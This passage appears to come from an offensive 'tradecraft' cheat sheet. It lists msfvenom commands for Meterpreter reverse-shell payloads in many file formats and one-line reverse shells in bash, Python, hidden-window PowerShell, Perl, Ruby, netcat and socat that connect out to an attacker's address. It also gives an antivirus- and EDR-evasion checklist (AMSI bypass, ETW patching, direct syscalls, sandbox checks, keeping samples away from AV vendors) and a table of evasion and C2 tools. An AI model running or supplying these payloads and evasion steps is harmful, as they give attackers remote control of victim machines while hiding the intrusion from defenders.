msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o s.exe

# Windows x64 Meterpreter stageless:
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f exe -o s.exe

# Windows x64 HTTPS:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=443 -f exe -o s.exe

# Windows DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f dll -o s.dll

# Linux ELF:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o s.elf

# PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw -o s.php

# ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f asp -o s.asp

# ASPX:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f aspx -o s.aspx

# WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war -o s.war

# Raw shellcode (C):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f c

10.2 One-Line Shell Reference

# Bash:
bash -i >& /dev/tcp/IP/PORT 0>&1

# Python3:
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('IP',PORT));[os.dup2(s.fileno(),x)for x in range(3)];subprocess.call(['/bin/bash'])"

# PowerShell:
powershell -NoP -NonI -W Hidden -c "$c=New-Object Net.Sockets.TCPClient('IP',PORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($rb);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

# Perl:
perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'

# Ruby:
ruby -rsocket -e'f=TCPSocket.open("IP",PORT).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'

# NC (with -e):
nc -e /bin/bash IP PORT

# Socat:
socat TCP:IP:PORT EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane

10.3 Payload Evasion Checklist

Pre-generation:
□ Choose staged vs stageless based on network env
□ Use HTTPS listener (443/8443) over raw TCP
□ Use real domain for HTTPS cert CN

Generation:
□ Avoid default msfvenom encoders (all signatured)
□ Use AES/XOR custom encryption wrapper
□ Template injection into legit binary (-x flag)
□ Build custom loader in C# / Go / Rust

Obfuscation:
□ PS payloads: Invoke-Obfuscation (TOKEN + ENCODING)
□ AMSI bypass before any PS execution
□ String splitting on detection keywords
□ Base64 + GZIP compression for PS
□ Avoid: "meterpreter", "powershell", "invoke-expression"

Runtime evasion:
□ Sleep + jitter before execution
□ Sandbox checks (mouse movement, CPU count, domain)
□ Process injection into legit processes
□ Direct syscalls (SysWhispers3) to bypass EDR hooks
□ ETW patching to blind EDR telemetry

Testing:
□ Test against Windows Defender (offline VM, no cloud lookup)
□ Test at: antiscan.me (no distribution to AV vendors!)
□ Never upload to VirusTotal (distributes to all vendors!)

10.4 Tools Summary

Tool Language Best Use
MSFvenom Ruby Quick payload generation
Invoke-Obfuscation PS PowerShell obfuscation
AMSI Bypass scripts PS Bypass AMSI before payload
Veil Python Evasive PS/Python payloads
Shellter C PE injection + polymorphic
ScareCrow Go EDR-bypass loaders
SysWhispers3 Python/C Direct syscall stub gen
Havoc C2 C EDR-evading C2 agents
Sliver Go Open source C2
OffensiveVBA VBA Macro payload templates

← Tradecraft top ↑